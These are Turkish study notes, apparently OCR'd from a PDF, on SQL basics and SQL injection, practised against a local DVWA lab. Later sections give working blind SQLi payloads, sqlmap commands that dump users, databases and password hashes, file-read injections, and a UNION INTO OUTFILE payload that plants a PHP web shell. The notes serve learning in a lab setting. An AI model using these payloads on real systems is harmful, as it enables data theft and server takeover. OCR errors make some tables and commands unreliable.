ON BILGI

Bu belgenin resmi adresi bulunamamistir. Alternatif adreste yedeklenmistir. Bu
belge

e https://www.includekarabuk.com/kitaplik/indirmeDeposu/
Siber_Guvenlik_Teknik_Makaleler/Teori/BaskalarinaAitMakaleler/Temel
%20SQL%20Bilgisi.pdf

adresindeki makaleye calisilarak elde edilen notlarimi kapsamaktadir. Bu ¢ikarilan
notlar belgemde alintilar ve/veya kisisel ilavelerim mevcuttur.



1)
LIKE

Where clause’un operatoérlerinden biridir. Bir sutunda belirlenen pattern’a uygun
olanlari cimbizlattirir.

SELECT kolonl FROM tablol WHERE kolonl LIKE pattern

ALTER TABLE

Bir tabloya kolon eklemek, var olan kolonlari degistirmek ya da silmek icin kullanilir.

ALTER TABLE tablol ADD kolonl veriTipi // Kolon eklenir.

ALTER TABLE tablol MODIFY kolonl yeniVeriTipi /] Kolon degistirilir.

ALTER TABLE tablol DROP COLUMN kolonl /] Kolon silinir.
UNION

iki veya “daha fazla” sayidaki SELECT ifadesini birlestirmek icin kullanilir.

SELECT kolonl, kolon2,... FROM tablol UNION SELECT kolon6,kolon7,... FROM
tablo2

DROP
Tablo, veritabani ya da index silmek icin kullanilir.
DROP TABLE tablol // Tablo silinir.
DROP DATABASE veritabanil /] Veritabani silinir.
DROP INDEX // index silinir. (Oracle)
ALTER TABLE tablol DROP INDEX index // index silinir.

(MysQL)



JOIN

iki ya da “daha fazla” tablodaki satirlari birlestirmek icin kullanilir. INNER JOIN (or
JOIN), LEFT JOIN, RIGHT JOIN ve FULL JOIN olmak Uzere 4 cesit join keyword’t vardir.

« INNER JOIN ( or only JOIN)

iki ya da daha fazla tablodaki kayitlardan eslesen satirlari déndirmeye
yarar.

SELECT kolonl FROM tablol JOIN tablo2 ON tablol.kolonl =
tablo2.kolon2

* LEFT JOIN

LEFT JOIN islemi ile sol tablonun tim kayitlari sag tablo kayitlari ile
eslessin ya da eslesmesin yazdirilir. iclerinden eslesenler icin sag kolon
degerlerine eslestikleri kaydin degeri konurken iclerinden
eslesmeyenler icin ise sag kolon degerlerine NULL konur.

Orn;

LEFT tablomuz su olsun.

B e e e e e
| ID | HAME | AGE | ADDRESS | SALARY |

B e e e e e

| 1 | Ramesh | 32 | Ahmedabad | 2@e@.22 |

| 2 | khilan | 25 | Delhi | 15e@.28 |

| 3 | kaushik | 23 | Kota | 2000.00 |

| 4 | Chaitali | 25 | Mumbai | e5e@.00 |

| 5 | Hardik | 27 | Bhopal | 85ee.0a |

| & | Komal | 22 | Mp | asee.oe |

| 7 | MuFfy | 24 | Indore | 12ce0.00 |

B e e e e e
RIGHT tablomuz da su olsun.

B e i
| oID | DaTE | CUSTOMER_ID | AMOUNT |
B e i
| 182 | 2009-12-88 @2:00:88 | 3| 3eee |
| 120 | 2009-12-88 @2:00:88 | 3| 1588 |
| 121 | 2809-11-20 @2:00:88 | 2| 1568 |
| 123 | 2005-25-20 @2:00:08 | 4 | 2060 |
B e i

Goruldugu uzere sol ve sag tablomuzda PK ID'dir, FK ise
CUSTOMER _ID’dir. Bu iki tablo igin LEFT JOIN sorgusu soyledir.



50L> SELECT 1ID, WAME, AMOUNT, DATE
FROM CUSTOMERS
LEFT JOIN ORDERS
ON CUSTOMERS.ID = ORDERS.CUSTOMER_ID;

LEFT JOIN islemi sonrasi sorgunun déndurdugu sonug tablosu asagidaki

gibidir.
R e e
| ID | MNAME | AMOUNT | DATE |
R e e
| 1| Ramesh | HNULL | HULL |
| 2| knilan | 1568 | 28@9-11-20 @@:08:80 |
| 3 | kaushik | 3@ee | 20@9-10-88 @0:08:00 |
| 3 | kaushik | 15@e | 28@9-10-28 @0:08:00 |
| 4 | Chaitali | 2@6@ | 2008-85-20 00:08:00 |
| 5 | Hardik | MULL | NULL |
| & | Komal | mMULL | NuLL |
| 7 | Muffy | muLL | NULL |
R e T T T

Goruldagu uzere LEFT JOIN ile sol tablonun tim kayitlari ekrana
basildi. iclerinden sag tabloyla eslesen kayitlara eslestikleri
kolon degerleri konuldu. Eslesmeyenlerin sag kolon kismina ise
NULL dendi.

NOT: 3 nolu ID’ye sahip “kaushik” kaydi iki kez tekrarlandi.
CUnkuU JOIN islemi sonrasi bu kayit sag tablodaki “iki” kayit ile
eslesti. Yani bir kayit ile eslesseydi bir satir donecekti. Fakat iki
kayit ile eslestiginden boylesi bir tekrar olustu ve sag
kolonlarina ise eslestigi iki farkli kaydin sundugu farkli degerler
konuldu.

* RIGHT JOIN

LEFT JOIN'in sol tablo icin yaptigi isi RIGHT JOIN sag tablo icin yapar.
TUm sag tablo kayitlarini yazdinir. Iclerinden eslesenlerin degerleri sol
kolon kismina konurken, eslesmeyenlerin sol kolon kismina NULL
konur.



* FULL JOIN

Once LEFT JOIN sonuclarini yazdirir. Ardindan bu sonuclarin altina
RIGHT JOIN sonuclarini ekler. Yani hem LEFT JOIN hem RIGHT JOIN
yapar. Sirasiyla...
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2)

SQL Injection ile hedef sistemdeki veritabanlari hakkindaki tum bilgiler okunabilir,
degistirilebilir veya silinebilir. Hatta sisteme shell bile atilabilir.

(Page 2)

3)
SQL Injection Kullanilarak Gerceklestirilmis Saldiri Ornekleri

* D33Ds Company isimli hack grubu union tabanli sql injection saldirisi
gerceklestirerek ele gecirdigi 453000 yahoo musterisinin bilgilerini internete
sizdirdi.

* MySql.com Blind Sql injection kullanilarak hacklendi. Saldirganlar ele
gecirdikleri kullanici adi ve sifre 6zetlerini internette yayinladi.

« Aralarinda Coca Cola, Intel ve BBC'nin bulundugu bir cok israilli site
pakistanli hackerlar tarafindan SQL injection kullanilarak hacklendi.

* Yaklasik 6.5 milyon linkedin sifre 6zeti ve kullanici adlar internete sizdirildi.
(Page 2)

4)
SQL Injection Cesitleri
1. “Veri Cekme Yontemi”ne gore iki gesit SQL Injection vardir:
m Inband
Web sitesindeki input kisimlariyla yapilan sqgl enjeksiyona denir.
m Out of band

Web sitesindeki input kisimlari disinda kanallar kullanarak
yapilan enjeksiyonlara denir. Orn; UTL_HTTP ve DNS.



2. Sunucudan Donen Cevaba gore iki cesit SQL Injection vardir:
m Hata Tabanh SQL Injection

Hata verdirmek Uzere yapilan enjeksiyonlara denir. Hata
verdirdikten sonra hem zafiyetten emin olunur hem de hata
mesajindan kullanilan sisteme ait 6nemli bilgiler elde edilebilir.
Bu bilgiler daha sonraki sorgular icin kullanilir.

= Union

Hata mesajlarina gore olusturulan yeni sorgu var olan
sorguya eklemlendirilir.

= Double
?
m Blind SQL Injection
= Boolean Tabanl

Mantiksal ifadenin sonucuna (True ya da False olusuna)
gore calisan sorgular icin yapilan sgl enjeksiyonlarina
denir.

= Zaman Tabanl

Sorgu sonucu gozukmediginden, sorgunun calisip
calismadigi sleep isini yapan fonksiyonlar yardimiyla
anlasilir. Mesela MySQL'deki benchmark() gibi...

( https://www.owasp.org/index.php/Blind_SQL Injection )

3. Veri tipine gore iki ¢esit SQL Injection vardir:

Zayifigin bulundugu parametrenin aldigi degerin veri tipine goére
yapilan enjeksiyonlara denir. Integer ya da string olabilir.

m String Tabanlh
m Integer Tabanh
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5)

Tirnak ayiklama (sanitizing) yapan bir sistem tirnak karakterinin ascii-hex kodlamasi
ile kullanilmasiyla atlatilabilmektedir.
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6)
Bir Blind SQL Ornegi
Hedef

Blind SQL Injection kullanarak sosyal glvenlik numaralarinin kayitli oldugu
veritabani tablosunu bulup kayitlarini listeleyin (Veritabani ismi, aranilan tablo
ismi ve tablonun kolonlarinin isimlerinin bilinmedigi varsayiliyor).

icraat

UNION ile yeni bir sorgu enjekte edebilmek icin veritabani ismine, tablo
ismine ve sonraki asamalar icin kolon isimlerine ihtiyac duyulur. Bu bilgileri
information_schema’dan 6grenebiliriz. Ancak ekran sql hatalar tGretmedigi
icin ORDER BY ile kolon sayisini 6grenemeyiz. Bunun yerine enjekte ettigimiz
kodlarin ise yarayip yaramadigini ekranin normal ciktiyi verip
vermemesinden anlayabiliriz. Ekran kendi ¢iktisini verdiginde enjekte
ettigimiz kod sorunsuz calisiyor anlamina gelecekken ekranda bilgi eksikligi
meydana geldiginde ya da bos ekran karsimiza geldiginde enjekte ettigimiz
sorgunun bilesenlerinden birisi hatali anlamina gelecektir. Kisaca blind
injection ekranin normal ¢ikti verip vermemesine gore yapilan denemeler
butunune verilen addir.

Enjekte edecegimiz kodda ascii() ve substring() fonksiyonlarini kullanacagimiz
icin 6nce bunlari bir aciklayalim. ascii() fonksiyonu aldigi string degerinin ilk
karakterinin ascii degerini dondirmeye yarayan bir mysql fonksiyonudur.
Mesela

SELECT aut_name,ASClI(aut_name) as "ASCII value of 1st character"
FROM author

WHERE ascii(aut_name) < 70;

dersek bu sorgu aut_name kolonunun tuttugu degerlerden ilk karakterinin
degeri 70'den kuclk olan kayitlari dondarur.

Substring() fonksiyonu ise aldigi string’in icerisinden bir alt string cekmeye
yarayan bir mysql fonksiyonudur. Bu fonksiyon ilk parametre degeri olarak bir
string alir ve ikinci parametre degeri olan baslangic index degerine gore
substring’i olusturmak icin string’ten baslar. Ardindan aldigi Gcuncu parametre
degeri olan ne kadar karakter secilecegi bilgisine gore de string lzerinde
ilerler ve boylece Uzerinden gecilen karakterleri déondurur.

Blind SQL Injection saldiri methoduyla bir numaral hedefimiz koordinatlari
edinmektir. Yani veritabani ismi, tablo ismi ve kolon ismi bilgilerine sahip



olmaktir. Eger bunlara sahip olabilirsek kullanici adi, sifre gibi hassas bilgileri
UNION ile ekrana yansitabiliriz. Bu bilgilere sahip olabilmek icin asagidaki kodu
kullanirz.

' or ascii(substring((select table_schema from
information_schema.tables limit 1 offset 0),1,1)) >= 90 #

Bu sorguda goruldigu Uzere ascii ve substring fonksiyonlari kullaniimistir.
Substring() fonksiyonunu inceleyecek olursak

substring( (select table_schema from
information_schema.tables limit 1 offset 0), 1, 1)

substring() fonksiyonu ilk parametre olarak bir sql sorgusundan dénen string’i
almaktadir. O SQL sorgusu sudur:

select table_schema from information_schema.tables limit 1
offset 0

Bu sorguya gore tables tablosunun 0.kaydindan baslamak Uzere “1” tane kayit
cek ve o kaydin table_schema kolon degerini dondir denmis oluyor.
Table_schema kolonu veritabani isimlerini tutan kolondur. Bu ytuzden string
olarak bu kolon secilmistir. Enjeksiyon kodumuza geri donecek olursak

' or ascii(substring((select table_schema from
information_schema.tables limit 1 offset 0),1,1)) >= 90 #

bu sorgu secilen veritabani isminin ilk harfinin ascii degeri 90'dan blyutk mu
kontroll yapmaktadir. Eger buyukse ekrana normal cikti verilecektir, eger
klgukse ekran beyaz sayfa verecektir. Information_schema.tables
tablosundaki bu ilk kaydi 90, 89, 88,... ile deneyerek hangi degerde eslesme
oldugu saptanir ve boylece ilgili ascii degerinin karsiligina bakarak ilk kaydin
tuttugu veritabani isminin ilk harfi 6grenilebilir. Bu islemi tamamladiktan sonra
substring() fonksiyonundaki ikinci parameter degeri olan 1'i 2 yaparak bu sefer
ikinci karakteri saptamak icin denemeler yapabiliriz ve bu sekilde tim
karakterleri saptayabiliriz. Tim bu islemler sonucunda ilk kaydin tuttugu
veritabani ismi 6grenildikten sonra bu veritabani ismiyle UNION sorgusu
enjekte edebiliriz (UNION sorgusunda ka¢ kolon kullanilacak bilgisine ise yine
ekran normal cikti veriyor mu vermiyor mu seklinde kontrolli bir kolon sayisi
arttirma yolu takip edilerek ulasilabilir).



Eger buldugumuz veritabani ismi bizim isimize yaramayacak kanisina varilirsa
o zaman information_schema.tables tablosundaki ikinci kayit icin ilk harfini
saptama, ikinci harfini saptama, dcuncu harfini saptama... sureci isletilir. Bu
islem icin sql sorgusundaki offset 0 degeri offset 1 yapilmalidir. Boylece ikinci
kayit secilir. Ardindan ascii denemeleri sonucu ilk harf tespit edildiginde ikinci
harfe gecis yapabilmek igin substring()’in dglncu parametresi tipki 6nceki
islemde oldugu gibi sirasi geldikce birer birer arttinimalidir.

NOT:

Blind SQL Injection yaparken kullandigimiz inner sqgl sorgusundaki
offset’li syntax’t daha derli toplu da yazabilirdik.

select table_schema from information_schema.tables
limito, 1

Yukaridaki syntax ile

select table_schema from information_schema.tables
limit 1 offset O

offset’li syntax ayni isi yapmaktadir.
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7)

Yukaridaki maddeyi okudugunda goérebilecegin gibi her bir karakteri saptamak ve bu
isi her bir satir (kayit) icin yapmak epey zahmetli bir istir. Bunu manual degil de
otomatik olarak yapabiliriz. SQLMAP tool’u ve BurpSuite yazilimi bize bu imkani
saglamaktadir.

(Page 7)

8)
SQLMap ile SQL Injection Saldirisi Ornekleri

[Saldiri Oncesi Bazi On Bilgiler]

* Windows Uzerinde kurulu Kali’den Windows Uzerinde kurulu DVWA’ya SQLMap
ataklari gosterilecektir.

* Windows’'un IP’si 192.168.2.2:8080 varsayilmistir.



* DVWA SQL Injection Linki http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/
seklindedir.

* Sglmap tool’u varsayilan olarak sql injection yapacagi parametrenin URL’de yer
almasini ister. Bunun icin DVWA’nin SQL Injection ekranindaki metin kutusuna
rasgele bir sayi gir ve enter’la. Ardindan girdigin verinin URL'de yerlestigi parametre
ile beraber komple url’yi kopyala:

http://localhost:8080/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#

Bu linki komple bu sekilde sqlmap tool’unu kullanirken kullanacaksin.

a. Hedef Sistemin Veritabaninindaki Kullanici isimlerini Almak

sglmap -u “http://192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#” --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id --users

Output:
Database management system users [6]:
[*] root@127.0.0.1
[*] root@localhost
[*] root@::1
[*] soninclu@localhost
[*] pma@localhost
[*] @localhost

-u parametresi ise sinamanin gerceklesecegi URL'yi gosterir. --cookie
parametresi sqlmap’in -u ile aldigi DVWA linkine login ekranina
takilmadan gecebilsin diye kullaniimistir. -p parametresine atanan id
degeri ile de sql injection sinamasinin url’deki id parametresine
uygulanacadi emrini vermis oluyoruz. --users parametresi ise hedef
sistemdeki veritabani yonetim sisteminin kullanici isimlerini bulup getir
anlamina gelir.

Goruldigu uzere hedef sistemin veritabani yonetim sistemine ait
kullanicilar ¢iktiya yansimistir.

b. Hedef Sistemin Veritabani isimlerini Almak



sqglmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#” --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id --dbs

Output:
Available databases [11]:
[*] information_schema
[*] phpmyadmin
[*] soninclu_veritabani
[*] test
[*] mysaql
[*] performance_schema
[*] sqlol
[*] btslab
[*] webauth
[*] test

Goruldugu uzere --dbs parametresi ile hedef sistemdeki yUkli
veritabanlarinin isimlerini 6grenmis olduk.

c. Hedef Sistemin Veritabanindaki Kayitli Tablolarin isimlerini Almak

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#” --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id -D soninclu_veritabani --tables

Output:
Database: soninclu_veritabani
[11 tables]
o +

| aranankelimehavuzu |
| goruntllemeler |
| kapakresmierisimyollari |
| kategoriler |
| okuyucular |
| saldirilar |
| yazarlar |
| yaziicindekiresimler |
| yazilar |
| yaziyaerisimyollari |
| yorumlar |



d. soninclu_veritabani Adli Veritabanindaki yazarlar Adl Tablonun Kolonlarini
Gormek

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#"” --
cookie="security=Ilow;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id -D soninclu_veritabani -T yazarlar --columns

Output:
oo o +
| Column | Type |
oo o +
| kullaniciAdi | text |
| sifre | text |
| yazarAdi | text |
| yazarlarlD | int(11)]
oo o +

e. soninclu_veritabani Adl Veritabanindaki yazarlar Tablosunun kullaniciAdi ve
sifre Kolon Degerlerini Gérmek

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#"” --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id -D soninclu_veritabani -T yazarlar -C kullaniciAdi,sifre --dump

Output
o e oo +
| sifre | kullaniciAdi |
b - oo

+
| $2y$10$Y276DxFLh1.pG/Y.e3evNOteU1lv0s5h| hefese |
| $2y$10$Y276DxFLh1.pG/Y.e3evNOteqy30s5h | yusufhakiki |
| $2y$10$Y276DxFLh1.pG/Y.e3evNOtehDpTMO | rebebem |
| $2y$10$Y276DxFLh1.pG/Y.vteU1v0s5hDpTMO| dsimsek |
o oo +

f. SQLMap ile Blind SQL Injection Denemesi



DVWA'nin Blind SQL sayfasindaki metin kutusuna SQLMap ile blind sql
injection yapalim ve sistemin tum veritabanlarinin isimlerini bulalim
(Biliyorsun bu islem icin bir veritabaninin ismi karakter karakter ascii
denemeleri ile bulunuyordu. Onlarca, hatta yuzlerce deneme sonunda
bir veritabaninin ismi saptaniyor, ardindan ikinci, iguncu veritabani
isimlerinin kesfi icin ayni zahmetli isler tekrarlaniyordu. Simdi bu
islemleri SQLMap’e yaptiralim):

sglmap -u “http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?
id=1&Submit= Submit#"” -p id --technique=B --dbms=MySQL --dbs

(1) Link degisti. Oncekiler sql injection sayfasina ait olandi. Simdiki ise
blind sql injection sayfasina ait olandir. Onceki sqlmap kullanimina gére
Blind'da ekstradan --technique=B kodu eklenir.

Output:
Available databases [11]:
[*] information_schema
[*] phpmyadmin
[*] soninclu_veritabani
[*] test
[*] mysaql
[*] performance_schema
[*] sqlol
[*] btslab
[*] webauth
[*] test

--technique parametresi argiman olarak B, E, U, S, T alabilmektedir.
Bunlar Boolean, Error, Union, Stacked, Time'in bas harfleridir. Bu
ornekte biz Boolean teknigini kullandik. Birden fazla teknik deger
olarak verilebilmektedir.

NOT: SQLMap veritabani isimlerini bulurken tipki bizim yaptigimiz o
zahmetli isi arkaplanda yapmaktadir. Bu isi yaparken anlik olarak
buldugu karakterleri ekrana sunmaktadir. Yani mesela ilk veritabani
ismini bulurken soyle bir ¢ikti silsilesi ekrana vermektedir.

i_

in_

inf_

info_
infor_
inform_
informa_
informat_



information_schema

Bdyle sirasiyla karakter karakter tespitlerden sonra veritabani

ismini elde ediyor ve siradaki veritabani ismi icin ayni islemleri

tekrarliyor. Boylelikle bizi bu zahmetli isten kurtarmis oluyor.
Diger asamalar ise soyledir:

sqlmap -u “http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?
id=1&Submit= Submit#" --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id --technique=B --dbms=MySQL -D soninclu_veritabani --tables

sqlmap -u “http://localhost:8080/dvwa/vulnerabilities/sqli_blind/?
id=1&Submit= Submit#" --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id --technique=B --dbms=MySQL -D soninclu_veritabani -T yazarlar --
columns

sqlmap -u “http:// 192.168.2.2:8080/dvwa/vulnerabilities/sqli/?
id=1&Submit=Submit#"” --
cookie="security=low;PHPSESSID=gka3g42dd2vulrke6h9hbec5u3” -p
id --technique=B -D soninclu_veritabani -T yazarlar -C kullaniciAdi,sifre
--dump

[ https://pentestlab.wordpress.com/2012/11/24/owning-the-database-
with-sglmap/ ]
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NOT: Eger hedef site GET methodu yerine degiskenlerini POST methoduyla
gonderiyorsa bu durumda SQLMap’e kullanacagi parametreleri --data parametresi
ile belirtebiliriz. Mesela;

sqlmap -u "http://192.168.0.16/dvwa/vulnerabilities/sqli_blind/#" --
cookie="security=medium; PHPSESSID=4g9rms6doiou9klkjrnurtnis3" --
data="id=1&Submit=Submit" -p id --technique=B --dbms=MySQL --dbs


https://pentestlab.wordpress.com/2012/11/24/owning-the-database-with-sqlmap/
https://pentestlab.wordpress.com/2012/11/24/owning-the-database-with-sqlmap/

[ http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-18---
Blind-SQL-Injection-Medium-Level.php]

10)
SQL Injection Cheat Sheet
a. Calisilan veritabanini gérmek icin
database() #
b. Veritabanlarinin yiklG oldugu dizini 6grenmek icin
@@datadir #
c. Hedef sistemin host adini 6grenmek icin
@@hostname #
d. Hedef sistemdeki bir dosyanin (e.g. domates.txt'in) icerigini gortintilemek
icin
LOAD _FILE(‘/xampp/htdocs/domates.txt’) #

(') Demek ki SQL Injection ile hedef sistemdeki passwd gibi kritik dosyalar
okunabilmektedir.

e. Hedef sisteme shell atmak icin
“<?php system($_REQUEST[‘cmd’]); 7>" into outfile
“C:/xampp/htdocs/shell.php” #

(!) Tarayicinin adres gubuguna
localhost/shell.php?cmd=type domates.txt

girerek upload edilen shell’e erisebilirsin ve domates.txt adli dosyanin
icerigini ekrana yazdirmis olursun. Cmd’'deki type komutu linux’'taki cat
komutunun yaptigi isi yapar.

f. Web uygulamasinin kullandigi VTYS kullanicisinin ismini gérmek icin

system _user() #


http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-18---Blind-SQL-Injection-Medium-Level.php
http://www.includekarabuk.com/kategoriler/DVWAUygulamasi/Ders-18---Blind-SQL-Injection-Medium-Level.php

g. VTYS’deki tim kullanici ve sifrelerini gormek icin
user,password FROM mysql.user #

h. Web uygulamasinin (DVWA'nin) kullandigi VTYS kullanicisinin yetkilerini
gormek icin

grantee, privilege type,is_grantable FROM
information_schema.user_privileges #
i. Veritabanlarini gérmek igin
schema_name FROM information_schema.schemata #
j. Belli bir veritabanina ait tablo ve kolon isimlerini 6grenmek icin
table_schema, table_name, column_name FROM

information_schema.columns
WHERE table schema =
‘soninclu_veritabani’ #
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Yukaridaki cheat sheet maddelerinden onemli olanlarinin DVWA SQL Injection
sayfasindaki uyarlamalari asagida verilmistir:

c. Hedef Sistemin hostname’ini 6grenmek icin metin kutusuna asagidaki
girilir:
1' or 1=1 UNION Select 1,@@hostname #
Output:

ID: 1' or 1=1 UNION Select 1,@@hostname #
First name: 1
Surname: DESKTOP-P5P31G6

d. Hedef sistemden dosya okumak icin LOAD_FILE() fonksiyonu asagidaki gibi
girilir( bismillah.txt dosyasinin belirtilen dizinde oldugunu varsay).



1'or 1=1 UNION Select 1,LOAD FILE('/xampp/htdocs/bismillah.txt') #
Output:
ID: 1' or 1=1 UNION Select 1, LOAD_FILE('/xampp/htdocs/
bismillah.txt') #

First name: 1
Surname: ya allah bismillah allahuekber

e. Hedef sisteme shell atmak INTO OUTFILE keyword’leri ile mumkdndur.

1'or 1=1 UNION Select 1, "<?php system($_REQUEST['cmd']); ?>" into
outfile

"C:/xampp/htdocs/shell.php" #

Yukaridaki injection kodu metin kutusuna girildigi takdirde
<?php
system($_REQUEST[‘cmd’]);
7>

icerikli ve shell.php adli bir dosya belirtilen dizinde olusturulur. Bu
dosyaya eriselim ve parametreden bismillah.txt dosyasini yazdir emrini
verelim:

http://localhost:8080/shell.php?cmd=type bismillah.txt
Output:

ya allah bismillah allahuekber

Goruldigu tzere bismillah.txt adli dosyanin icerigini ekranda
goruntuledik. Artik cmd parametresini kurcalayarak sistem uzerinde
istedigimiz islemleri yapabiliriz. Mesela;

http://localhost:8080/shell.php?cmd=dir
gibi...

OZET: SQL Injection acigindan yararlanarak hedef sistemde php
kodlari icerikli bir dosya olusturduk. Bu dosya icindeki
$ REQUESTY() fonksiyonunu cmd adl parametreden deger



almaya hazir sekilde kodladik. Ne zaman olusturdugumuz bu
dosyayi goruntuleme tesebbusunde bulunursak o vakit
enter’'ladigimiz linkin sonundaki cmmd parametresine
koydugumuz deger $ REQUEST()'ten cekilir ve system()
fonksiyonuna gonderilir. system() fonksiyonu aldigi degeri
hedef sistemin komut satirina girer ve donen sonucu ekrana
basar.



